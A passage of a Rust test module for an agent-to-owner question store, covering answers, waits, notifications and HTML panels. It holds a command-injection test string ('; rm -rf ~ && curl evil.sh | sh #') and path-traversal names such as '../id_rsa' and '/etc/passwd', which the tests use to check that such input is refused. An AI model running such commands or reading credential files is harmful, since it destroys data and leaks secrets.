2636        assert!(
2637            asked.ends_with('Z') && asked.contains('T'),
2638            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2639        );
2640
2641        // A chosen option, exactly as the contract spells it.
2642        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2643        let answered = serde_json::to_value(&q).unwrap();
2644        assert_eq!(answered["status"], "answered");
2645        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2646        assert!(answered["answered_at"].is_string());
2647
2648        // And free text, which is the other of the two forms.
2649        let mut free = free_question();
2650        free.answer(Answer::Text("Say which file it was".to_owned()))
2651            .unwrap();
2652        assert_eq!(
2653            serde_json::to_value(&free).unwrap()["answer"],
2654            serde_json::json!({"text": "Say which file it was"})
2655        );
2656
2657        // And it survives the round trip a reader actually performs.
2658        let body = serde_json::to_string(&q).unwrap();
2659        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2660    }
2661
2662    #[test]
2663    fn merge_target_persists_and_schema_10_questions_remain_readable() {
2664        let (_dir, store) = store();
2665        let mut q = approval_question();
2666        q.merge_target = Some(crate::merge_decision::Target {
2667            pr: "https://github.com/example/repo/pull/42".into(),
2668            head: "reviewed-head".into(),
2669            language: "ja".into(),
2670        });
2671        store.put(&mut q).unwrap();
2672        let saved = store.get(&q.id).unwrap();
2673        assert_eq!(saved, q);
2674        let mut body = serde_json::to_value(&saved).unwrap();
2675        assert_eq!(body["schema"], 13);
2676        assert_eq!(
2677            body["merge_target"],
2678            serde_json::json!({
2679                "pr": "https://github.com/example/repo/pull/42",
2680                "head": "reviewed-head",
2681                "language": "ja"
2682            })
2683        );
2684
2685        // Earlier merge/hold cards have no target field. Read the actual
2686        // on-disk shape through the store, including its schema guard.
2687        body["schema"] = serde_json::json!(10);
2688        body.as_object_mut().unwrap().remove("merge_target");
2689        std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2690        let legacy = store.get(&q.id).unwrap();
2691        assert_eq!(legacy.schema, 10);
2692        assert!(legacy.merge_target.is_none());
2693        assert_eq!(legacy.choices, q.choices);
2694        assert_eq!(legacy.status, q.status);
2695    }
2696
2697    #[test]
2698    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2699        // Four different mistakes, four different fixes: the web handler shows
2700        // these strings to the person who made them.
2701        let mut unoffered = choice_question();
2702        let a = unoffered
2703            .answer(Answer::Choice("Postgres".to_owned()))
2704            .unwrap_err()
2705            .to_string();
2706
2707        let mut typed = choice_question();
2708        let b = typed
2709            .answer(Answer::Text("use Postgres".to_owned()))
2710            .unwrap_err()
2711            .to_string();
2712
2713        let mut blank = free_question();
2714        let c = blank
2715            .answer(Answer::Text("   \n".to_owned()))
2716            .unwrap_err()
2717            .to_string();
2718
2719        let mut twice = choice_question();
2720        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2721        let d = twice
2722            .answer(Answer::Choice("Redis".to_owned()))
2723            .unwrap_err()
2724            .to_string();
2725
2726        assert!(a.contains("not one of the choices"), "{a}");
2727        assert!(b.contains("multiple choice"), "{b}");
2728        assert!(c.contains("empty"), "{c}");
2729        assert!(d.contains("already answered"), "{d}");
2730        let mut distinct = vec![a, b, c, d];
2731        let asked = distinct.len();
2732        distinct.sort_unstable();
2733        distinct.dedup();
2734        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2735
2736        // The refused ones are still open, so the owner can answer properly.
2737        assert_eq!(unoffered.status, QuestionStatus::Open);
2738        assert_eq!(typed.status, QuestionStatus::Open);
2739        assert_eq!(blank.status, QuestionStatus::Open);
2740        // And the first answer to the double-answered one survived.
2741        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2742
2743        // Free text refuses a fabricated choice for the mirror-image reason.
2744        let mut free = free_question();
2745        let e = free
2746            .answer(Answer::Choice("SQLite".to_owned()))
2747            .unwrap_err()
2748            .to_string();
2749        assert!(e.contains("free text"), "{e}");
2750    }
2751
2752    #[test]
2753    fn open_questions_are_listed_before_answered_ones() {
2754        let (_dir, s) = store();
2755        // Ids carry a timestamp, so force a known order: the answered one is
2756        // the newest, and must still sort below the open ones.
2757        let mut old_open = choice_question();
2758        old_open.id = "20260101-000001-aaaa".to_owned();
2759        let mut new_open = choice_question();
2760        new_open.id = "20260101-000002-bbbb".to_owned();
2761        let mut answered = choice_question();
2762        answered.id = "20260101-000003-cccc".to_owned();
2763        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2764        for q in [&mut old_open, &mut new_open, &mut answered] {
2765            s.put(q).unwrap();
2766        }
2767
2768        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2769        assert_eq!(
2770            ids,
2771            [
2772                "20260101-000002-bbbb",
2773                "20260101-000001-aaaa",
2774                "20260101-000003-cccc"
2775            ],
2776            "what has stopped work comes first; history sorts underneath"
2777        );
2778        assert_eq!(s.count_open(), 2);
2779        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2780        assert!(s.open_for("some-other-run").is_empty());
2781        // The short id is what the phone and the reports show.
2782        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2783        assert!(s.get("20260101-000002-bbbb").is_ok());
2784        assert!(s.resolve_id("nope").is_err());
2785        assert!(
2786            s.revision() > 0,
2787            "the store's mtime drives the phone's polling"
2788        );
2789    }
2790
2791    #[test]
2792    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2793        let (_dir, s) = store();
2794        let mut good = choice_question();
2795        s.put(&mut good).unwrap();
2796        // Truncated by a killed writer, and written by a magi from the future.
2797        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2798        let future = serde_json::json!({
2799            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2800            "seat": "s", "summary": "?", "detail": "", "choices": [],
2801            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2802            "answered_at": null, "answer": null,
2803        });
2804        std::fs::write(
2805            s.path_of("20260101-000010-beef"),
2806            serde_json::to_string(&future).unwrap(),
2807        )
2808        .unwrap();
2809
2810        let listed = s.list();
2811        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2812        assert_eq!(listed[0].id, good.id);
2813        // Asked for by name, the unreadable one explains itself instead.
2814        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2815        assert!(e.contains("schema"), "{e}");
2816    }
2817
2818    #[tokio::test]
2819    async fn the_wait_returns_the_answer_another_process_wrote() {
2820        // The phone, `magi answer` and this run are three processes with no
2821        // channel between them: the file is the channel, so the wait has to see
2822        // a write it did not make. Sub-second timings keep this a real wait
2823        // without a real one's duration.
2824        let (dir, s) = store();
2825        let mut q = choice_question();
2826        let id = q.id.clone();
2827        let writer = Questions::at(dir.path().join("questions"));
2828        let handle = tokio::spawn(async move {
2829            tokio::time::sleep(Duration::from_millis(30)).await;
2830            let mut fresh = writer.get(&id).expect("the question was filed first");
2831            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2832            writer.put(&mut fresh).unwrap();
2833        });
2834
2835        let got = wait_for_owner(
2836            &mut q,
2837            &s,
2838            &quiet(),
2839            Duration::from_secs(5),
2840            Duration::from_millis(10),
2841        )
2842        .await
2843        .unwrap();
2844
2845        handle.await.unwrap();
2846        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2847        assert_eq!(
2848            q.status,
2849            QuestionStatus::Answered,
2850            "the caller's copy is refreshed from the answering process's record"
2851        );
2852        assert!(q.answered_at.is_some());
2853    }
2854
2855    #[tokio::test]
2856    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2857        let (_dir, s) = store();
2858        let mut q = choice_question();
2859
2860        let got = wait_for_owner(
2861            &mut q,
2862            &s,
2863            &quiet(),
2864            Duration::from_millis(60),
2865            Duration::from_millis(10),
2866        )
2867        .await
2868        .unwrap();
2869
2870        assert_eq!(
2871            got,
2872            Wait::Abandoned,
2873            "a slow human is not an error; the run parks"
2874        );
2875        assert_eq!(q.status, QuestionStatus::Abandoned);
2876        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2877        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2878        assert!(
2879            on_disk.detail.contains("Abandoned:"),
2880            "why nobody answered belongs with the question: {}",
2881            on_disk.detail
2882        );
2883        assert!(on_disk.resolution().is_none());
2884        assert_eq!(s.count_open(), 0);
2885    }
2886
2887    #[tokio::test]
2888    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2889        // This is the whole point of slicing: `timeout` (the real
2890        // `answer_timeout` budget) is far larger than `slice`, so the loop
2891        // must land on `slice` first and hand back `Pending` - not read the
2892        // silence so far as the owner having given up.
2893        let (_dir, s) = store();
2894        let mut q = choice_question();
2895        s.put(&mut q).unwrap();
2896
2897        let got = wait_loop(
2898            &mut q,
2899            &s,
2900            Duration::from_secs(3600),
2901            Duration::from_millis(30),
2902            Duration::from_millis(10),
2903        )
2904        .await
2905        .unwrap();
2906
2907        assert_eq!(
2908            got,
2909            Wait::Pending,
2910            "the clock on this call ran out, not the owner's patience"
2911        );
2912        assert_eq!(
2913            q.status,
2914            QuestionStatus::Open,
2915            "a slice expiring must never abandon the question"
2916        );
2917        let on_disk = s.get(&q.id).expect("still on disk, still open");
2918        assert_eq!(
2919            on_disk.status,
2920            QuestionStatus::Open,
2921            "nothing about the record changed just because this call gave up"
2922        );
2923    }
2924
2925    #[tokio::test]
2926    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2927        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
2928        // and returns `Pending`, a second slice - a fresh call, exactly as a
2929        // fresh process would make - picks the same question back up and
2930        // sees an answer written in between.
2931        let (dir, s) = store();
2932        let mut q = choice_question();
2933        s.put(&mut q).unwrap();
2934
2935        let first = wait_loop(
2936            &mut q,
2937            &s,
2938            Duration::from_secs(3600),
2939            Duration::from_millis(30),
2940            Duration::from_millis(10),
2941        )
2942        .await
2943        .unwrap();
2944        assert_eq!(first, Wait::Pending);
2945
2946        let id = q.id.clone();
2947        let writer = Questions::at(dir.path().join("questions"));
2948        let mut fresh = writer.get(&id).unwrap();
2949        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2950        writer.put(&mut fresh).unwrap();
2951
2952        // `resume_wait` uses its own production poll interval rather than a
2953        // test-injected one, so the budget here only needs to be large enough
2954        // to cover one real poll tick - the point is that it is `resume_wait`
2955        // itself, not a helper, that finds the answer.
2956        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2957            .await
2958            .unwrap();
2959        assert_eq!(second, Wait::Answered("Redis".to_owned()));
2960        assert_eq!(q.status, QuestionStatus::Answered);
2961    }
2962
2963    #[tokio::test]
2964    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2965        // The owner can speak back while nothing is running at all - between
2966        // one call reporting `Wait::Pending` and the next `--wait` picking
2967        // the question back up - and whoever resumes the wait loads a
2968        // *fresh* copy of the question off disk, one whose thread already
2969        // contains that reply. A baseline taken from that fresh copy would
2970        // treat the reply as pre-existing and never notice it "arrive",
2971        // leaving the agent polling in silence until `answer_timeout`
2972        // eventually abandons the question - replacing the exact accident
2973        // this feature exists to fix with a quieter version of itself.
2974        let (dir, s) = store();
2975        let mut q = choice_question();
2976        s.put(&mut q).unwrap();
2977
2978        let first = wait_loop(
2979            &mut q,
2980            &s,
2981            Duration::from_secs(3600),
2982            Duration::from_millis(30),
2983            Duration::from_millis(10),
2984        )
2985        .await
2986        .unwrap();
2987        assert_eq!(first, Wait::Pending);
2988
2989        // The owner speaks back during the gap, with nobody running yet.
2990        let id = q.id.clone();
2991        let writer = Questions::at(dir.path().join("questions"));
2992        let mut fresh = writer.get(&id).unwrap();
2993        fresh.say("why not Postgres?").unwrap();
2994        writer.put(&mut fresh).unwrap();
2995
2996        // `magi ask --wait` re-reads the question rather than reusing the
2997        // stale in-memory copy the earlier call held - so the copy handed to
2998        // `resume_wait` here already carries the reply, same as `fresh` above.
2999        let mut resumed = s.get(&id).unwrap();
3000        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
3001            .await
3002            .unwrap();
3003        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
3004        assert_eq!(
3005            resumed.status,
3006            QuestionStatus::Open,
3007            "talking back is not a decision; the question stays open"
3008        );
3009    }
3010
3011    #[tokio::test]
3012    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
3013        // A broken webhook must not throw away an implementation, so the wait
3014        // reports the failure and carries on. `notify` itself still says what
3015        // went wrong, because `magi notify --test` has to be able to show it.
3016        let (dir, s) = store();
3017        let broken = config::Notify {
3018            command: vec![
3019                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
3020                "{summary}".to_owned(),
3021            ],
3022        };
3023        let mut q = choice_question();
3024        assert!(
3025            notify(&broken, &q).await.is_err(),
3026            "the caller is told; it decides that it does not matter"
3027        );
3028
3029        let id = q.id.clone();
3030        let writer = Questions::at(dir.path().join("questions"));
3031        let handle = tokio::spawn(async move {
3032            tokio::time::sleep(Duration::from_millis(30)).await;
3033            let mut fresh = writer.get(&id).unwrap();
3034            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
3035            writer.put(&mut fresh).unwrap();
3036        });
3037        let got = wait_for_owner(
3038            &mut q,
3039            &s,
3040            &broken,
3041            Duration::from_secs(5),
3042            Duration::from_millis(10),
3043        )
3044        .await
3045        .unwrap();
3046        handle.await.unwrap();
3047        assert_eq!(got, Wait::Answered("Redis".to_owned()));
3048
3049        // No command at all is the default, and is silence rather than failure.
3050        assert!(notify(&quiet(), &q).await.is_ok());
3051        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
3052    }
3053
3054    #[tokio::test]
3055    async fn external_question_notification_names_the_supported_response_path() {
3056        let dir = tempfile::tempdir().unwrap();
3057        let path = dir.path().join("page");
3058        let cmd = config::Notify {
3059            command: vec![
3060                "sh".into(),
3061                "-c".into(),
3062                "printf '%s' \"$1\" > \"$2\"".into(),
3063                "notify".into(),
3064                "{summary}".into(),
3065                path.to_string_lossy().into_owned(),
3066            ],
3067        };
3068        let q = choice_question();
3069        notify(&cmd, &q).await.unwrap();
3070        let sent = std::fs::read_to_string(&path).unwrap();
3071        assert!(sent.starts_with("Question "));
3072        assert!(sent.contains(&q.summary));
3073        assert!(sent.contains(&format!("magi answer {}", q.id)));
3074        notify_text(&cmd, "", "Informational report. No reply needed.")
3075            .await
3076            .unwrap();
3077        assert_eq!(
3078            std::fs::read_to_string(&path).unwrap(),
3079            "Informational report. No reply needed."
3080        );
3081    }
3082
3083    #[test]
3084    fn external_notifications_and_questions_have_distinct_destinations() {
3085        assert_eq!(
3086            question_url("https://example.invalid/"),
3087            "https://example.invalid/#/questions"
3088        );
3089        assert_eq!(
3090            view_url("https://example.invalid/", "notifications"),
3091            "https://example.invalid/#/notifications"
3092        );
3093        assert_eq!(view_url("", "notifications"), "");
3094        assert_eq!(
3095            view_url("https://example.invalid/#/queue", "notifications"),
3096            "https://example.invalid/#/queue"
3097        );
3098    }
3099
3100    #[test]
3101    fn notification_arguments_are_substituted_and_never_a_shell_string() {
3102        let mut q = choice_question();
3103        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
3104        let template = [
3105            "ntfy".to_owned(),
3106            "publish".to_owned(),
3107            "--click".to_owned(),
3108            "{url}".to_owned(),
3109            "--title".to_owned(),
3110            "magi {run} needs you".to_owned(),
3111            "{summary}".to_owned(),
3112        ];
3113        let argv: Vec<String> = template
3114            .iter()
3115            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
3116            .collect();
3117
3118        assert_eq!(
3119            argv,
3120            [
3121                "ntfy",
3122                "publish",
3123                "--click",
3124                "http://100.64.0.1:7777/#/questions",
3125                "--title",
3126                "magi 20260902-201256-9fb7 needs you",
3127                "; rm -rf ~ && curl evil.sh | sh #",
3128            ],
3129            "the shell metacharacters are one argument's contents, not syntax"
3130        );
3131
3132        // A summary that itself mentions a placeholder is text, not a template:
3133        // one left-to-right pass means a substituted value is never rescanned.
3134        q.summary = "should {url} be configurable?".to_owned();
3135        assert_eq!(
3136            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
3137            "should {url} be configurable?"
3138        );
3139        // An unknown brace is the operator's own text and survives untouched.
3140        assert_eq!(
3141            expand("{title}: {run}", &q.run, &q.summary, ""),
3142            "{title}: 20260902-201256-9fb7"
3143        );
3144        assert_eq!(
3145            expand("no placeholders", &q.run, &q.summary, "http://x"),
3146            "no placeholders"
3147        );
3148    }
3149
3150    #[test]
3151    fn the_notification_link_lands_on_the_view_that_can_answer() {
3152        assert_eq!(
3153            question_url("http://100.64.0.1:7777"),
3154            "http://100.64.0.1:7777/#/questions"
3155        );
3156        assert_eq!(
3157            question_url("http://100.64.0.1:7777/"),
3158            "http://100.64.0.1:7777/#/questions"
3159        );
3160        // An operator who wrote a fragment has said where they want to land.
3161        assert_eq!(
3162            question_url("http://magi.ts.net/#/runs"),
3163            "http://magi.ts.net/#/runs"
3164        );
3165        // Unset expands to nothing rather than to a guessed address.
3166        assert_eq!(question_url("  "), "");
3167    }
3168
3169    /// A question with a fixed id, so a panel's path on disk is predictable.
3170    fn panelled() -> Question {
3171        let mut q = choice_question();
3172        q.id = "20260903-014455-ab12".to_owned();
3173        q
3174    }
3175
3176    #[test]
3177    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
3178        let (dir, s) = store();
3179        let work = dir.path().join("worktree");
3180        std::fs::create_dir_all(&work).unwrap();
3181        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
3182        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
3183
3184        let mut q = panelled();
3185        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
3186        s.put_panel(
3187            &mut q,
3188            html,
3189            &[work.join("table.png"), work.join("diff.svg")],
3190        )
3191        .unwrap();
3192        s.put(&mut q).unwrap();
3193
3194        assert!(q.panel);
3195        assert_eq!(
3196            q.assets,
3197            ["diff.svg", "table.png"],
3198            "sorted, not in the order the agent happened to pass them"
3199        );
3200        assert_eq!(
3201            s.panel_html(&q.id).as_deref(),
3202            Some(html),
3203            "the html is stored byte for byte; the agent authored the markup"
3204        );
3205        assert_eq!(
3206            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
3207            Some(&b"<svg/>"[..])
3208        );
3209
3210        // The record on disk carries the same two fields the front end reads.
3211        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
3212        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
3213        assert_eq!(json["panel"], true);
3214        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
3215        let back = s.get(&q.id).unwrap();
3216        assert!(back.panel);
3217        assert_eq!(back.assets, q.assets);
3218
3219        // The assets were copied, so the panel still renders after `magi fold`
3220        // has deleted the candidate worktree the agent authored it in.
3221        std::fs::remove_dir_all(&work).unwrap();
3222        assert_eq!(
3223            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
3224            Some(&b"\x89PNG"[..]),
3225            "a referenced asset would be gone with the worktree"
3226        );
3227    }
3228
3229    #[test]
3230    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
3231        let (dir, s) = store();
3232        let mut q = panelled();
3233        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
3234        s.put(&mut q).unwrap();
3235
3236        // A file exactly one level up from the panel directory - which is
3237        // where `..` lands - holding content a read would make visible.
3238        let secret = "this must never reach the browser";
3239        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
3240        assert_eq!(
3241            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
3242            secret,
3243            "the traversal is real: the operating system resolves this path \
3244             happily, which is why the name has to be refused before the join"
3245        );
3246
3247        let long = "x".repeat(200);
3248        for name in [
3249            "..",
3250            "../id_rsa",
3251            "..\\id_rsa",
3252            "sub/../id_rsa",
3253            "/",
3254            "\\",
3255            "/etc/passwd",
3256            "C:\\Windows\\win.ini",
3257            "",
3258            ".hidden",
3259            ".",
3260            long.as_str(),
3261        ] {
3262            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3263            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3264            assert!(
3265                e.contains("not a panel file name"),
3266                "`{name}` must be refused as a name, not attempted: {e}"
3267            );
3268            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3269        }
3270        // A name that is allowed still finds its file, so the refusals above
3271        // were the rule at work and not a store that reads nothing.
3272        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3273
3274        // The same rule on the write side, where the name comes from a source
3275        // file's base name, and a refusal leaves the stored panel untouched.
3276        let hidden = dir.path().join(".hidden");
3277        std::fs::write(&hidden, "x").unwrap();
3278        let e = s
3279            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3280            .unwrap_err()
3281            .to_string();
3282        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3283        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3284        assert!(q.assets.is_empty());
3285    }
3286
3287    #[test]
3288    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3289        let (dir, s) = store();
3290        let mut q = panelled();
3291        s.put(&mut q).unwrap();
3292
3293        // Sized rather than filled: the cap reads the file's length, and a
3294        // test that actually produced eight mebibytes would only be slower.
3295        let big = dir.path().join("recording.png");
3296        std::fs::File::create(&big)
3297            .unwrap()
3298            .set_len(PANEL_MAX_BYTES)
3299            .unwrap();
3300
3301        let html = "<p>see the recording</p>";
3302        let total = PANEL_MAX_BYTES + html.len() as u64;
3303        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3304        assert!(
3305            e.contains(&PANEL_MAX_BYTES.to_string()),
3306            "the cap is named so the agent knows the limit: {e}"
3307        );
3308        assert!(
3309            e.contains(&total.to_string()),
3310            "the actual size is named so the agent knows by how much: {e}"
3311        );
3312
3313        assert!(!q.panel);
3314        assert!(q.assets.is_empty());
3315        let left: Vec<String> = std::fs::read_dir(s.root())
3316            .unwrap()
3317            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3318            .collect();
3319        assert_eq!(
3320            left,
3321            [format!("{}.json", q.id)],
3322            "a refused panel leaves neither a directory nor scratch: {left:?}"
3323        );
3324    }
3325
3326    #[test]
3327    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3328        let (dir, s) = store();
3329        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3330        std::fs::create_dir_all(&before).unwrap();
3331        std::fs::create_dir_all(&after).unwrap();
3332        std::fs::write(before.join("diff.png"), "before").unwrap();
3333        std::fs::write(after.join("diff.png"), "after").unwrap();
3334
3335        let mut q = panelled();
3336        let e = s
3337            .put_panel(
3338                &mut q,
3339                "<p>x</p>",
3340                &[before.join("diff.png"), after.join("diff.png")],
3341            )
3342            .unwrap_err()
3343            .to_string();
3344        assert!(e.contains("diff.png"), "{e}");
3345        assert!(
3346            e.contains("before") && e.contains("after"),
3347            "both sources are named, because the fix is to rename one: {e}"
3348        );
3349        assert!(!q.panel);
3350        assert!(!s.panel_dir(&q.id).exists());
3351    }
3352
3353    #[test]
3354    fn concurrent_questions_keep_independent_records_and_panels_with_identical_entropy() {
3355        let (_dir, s) = store();
3356        let barrier = std::sync::Barrier::new(8);
3357        let ids = std::thread::scope(|scope| {
3358            let handles: Vec<_> = (0..8)
3359                .map(|worker| {
3360                    let s = &s;
3361                    let barrier = &barrier;
3362                    scope.spawn(move || {
3363                        barrier.wait();
3364                        (0..16)
3365                            .map(|index| {
3366                                let mut q = choice_question();
3367                                // Reproduce both the old four-digit collision
3368                                // and a clock returning identical entropy.
3369                                q.id = new_id_at("20261020-224346", 0xf8ef);
3370                                q.summary = format!("worker {worker}, question {index}");
3371                                assert!(valid_asset_name(&q.id));
3372                                assert_eq!(q.short(), "f8ef");
3373                                let html = format!("<p>{}</p>", q.summary);
3374                                s.put_panel(&mut q, &html, &[]).unwrap();
3375                                s.put(&mut q).unwrap();
3376                                (q.id, q.summary, html)
3377                            })
3378                            .collect::<Vec<_>>()
3379                    })
3380                })
3381                .collect();
3382            handles
3383                .into_iter()
3384                .flat_map(|handle| handle.join().unwrap())
3385                .collect::<Vec<_>>()
3386        });
3387        assert_eq!(s.list().len(), ids.len());
3388        for (id, summary, html) in ids {
3389            assert_eq!(s.get(&id).unwrap().summary, summary);
3390            assert_eq!(s.panel_html(&id).as_deref(), Some(html.as_str()));
3391        }
3392    }
3393
3394    #[test]
3395    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3396        let (dir, s) = store();
3397        std::fs::write(dir.path().join("old.png"), "old").unwrap();
3398        std::fs::write(dir.path().join("new.png"), "new").unwrap();
3399
3400        let mut q = panelled();
3401        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3402            .unwrap();
3403        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3404            .unwrap();
3405
3406        assert_eq!(q.assets, ["new.png"]);
3407        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3408        assert!(
3409            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3410            "an asset from the first attempt would show a mix of two answers"
3411        );
3412
3413        s.drop_panel(&q.id).unwrap();
3414        assert!(s.panel_html(&q.id).is_none());
3415        assert!(!s.panel_dir(&q.id).exists());
3416        s.drop_panel(&q.id)
3417            .expect("dropping a panel that is already gone is the desired state");
3418    }
3419
3420    #[test]
3421    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3422        let (_dir, s) = store();
3423        let mut q = panelled();
3424        s.put(&mut q).unwrap();
3425
3426        assert!(!q.panel);
3427        assert!(s.panel_html(&q.id).is_none());
3428        assert!(
3429            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3430            "a missing file is a 404 for the caller, not a failure of the store"
3431        );
3432        let json = serde_json::to_value(&q).unwrap();
3433        assert_eq!(json["panel"], false);
3434        assert_eq!(json["assets"], serde_json::json!([]));
3435
3436        // And an empty panel is refused, because an empty frame reads to the
3437        // owner as "the agent had nothing to say".
3438        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
3439        assert!(e.contains("empty panel"), "{e}");
3440        assert!(!s.panel_dir(&q.id).exists());
3441    }
3442
3443    #[test]
3444    fn a_question_written_before_panels_existed_still_deserialises() {
3445        let (_dir, s) = store();
3446        std::fs::create_dir_all(s.root()).unwrap();
3447        let id = "20260902-231501-ab12";
3448        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
3449        let body = r#"{
3450  "schema": 1,
3451  "id": "20260902-231501-ab12",
3452  "run": "20260902-201256-9fb7",
3453  "node": "implement",
3454  "seat": "impl-A",
3455  "summary": "Which storage backend should the cache use?",
3456  "detail": "Both are already dependencies.",
3457  "choices": ["SQLite", "Redis"],
3458  "status": "open",
3459  "asked_at": "2026-09-02T23:15:01Z",
3460  "answered_at": null,
3461  "answer": null
3462}"#;
3463        std::fs::write(s.path_of(id), body).unwrap();
3464
3465        let q = s.get(id).unwrap();
3466        assert!(
3467            !q.panel,
3468            "an absent field means no panel, not a parse error"
3469        );
3470        assert!(q.assets.is_empty());
3471        // Schema 1 predates `thread` entirely - not merely predates it having
3472        // any turns - and this build now speaks schema 3. Reading it must not
3473        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
3474        // accepted and the missing field defaults to no conversation yet.
3475        assert_eq!(q.schema, 1);
3476        assert!(q.thread.is_empty());
3477        assert_eq!(
3478            q.answer_timeout, 0,
3479            "an absent field means unrecorded, not a zero-second deadline"
3480        );
3481        assert!(!q.waiting_on_agent());
3482        assert_eq!(q.summary, "Which storage backend should the cache use?");
3483        assert_eq!(
3484            s.list().len(),
3485            1,
3486            "and it is still listed; skipping it would hide an open question"
3487        );
3488    }
3489
3490    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3491        Turn {
3492            who,
3493            body: body.to_owned(),
3494            at,
3495            note: None,
3496        }
3497    }
3498
3499    #[test]
3500    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3501        // The phone reads this shape by hand, same as the question itself: a
3502        // rename here is a card that silently drops every message in it.
3503        let mut q = choice_question();
3504        q.thread
3505            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3506        let value = serde_json::to_value(&q.thread[0]).unwrap();
3507        let mut keys: Vec<&str> = value
3508            .as_object()
3509            .unwrap()
3510            .keys()
3511            .map(String::as_str)
3512            .collect();
3513        keys.sort_unstable();
3514        assert_eq!(keys, ["at", "body", "who"]);
3515        assert_eq!(value["who"], "operator");
3516        assert_eq!(value["body"], "why not Postgres?");
3517
3518        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3519        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3520        assert_eq!(parsed.who, Who::Agent);
3521    }
3522
3523    fn approval_question() -> Question {
3524        let mut q = Question::new(
3525            "run".into(),
3526            crate::land::APPROVAL_NODE.into(),
3527            "land".into(),
3528            "Merge?".into(),
3529            String::new(),
3530            vec!["merge".into(), "hold".into()],
3531        );
3532        let mut dep = Deputy::new("brief".into());
3533        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3534        q.deputy = Some(dep);
3535        q
3536    }
3537
3538    #[test]
3539    fn a_deputy_settles_merge_and_recovery_on_the_owners_words_without_a_quote() {
3540        let target = || crate::merge_decision::Target {
3541            pr: "PR 42".into(),
3542            head: "abc".into(),
3543            language: "en".into(),
3544        };
3545        // A merge among other requests: the deputy's reading is the authority.
3546        let mut q = approval_question();
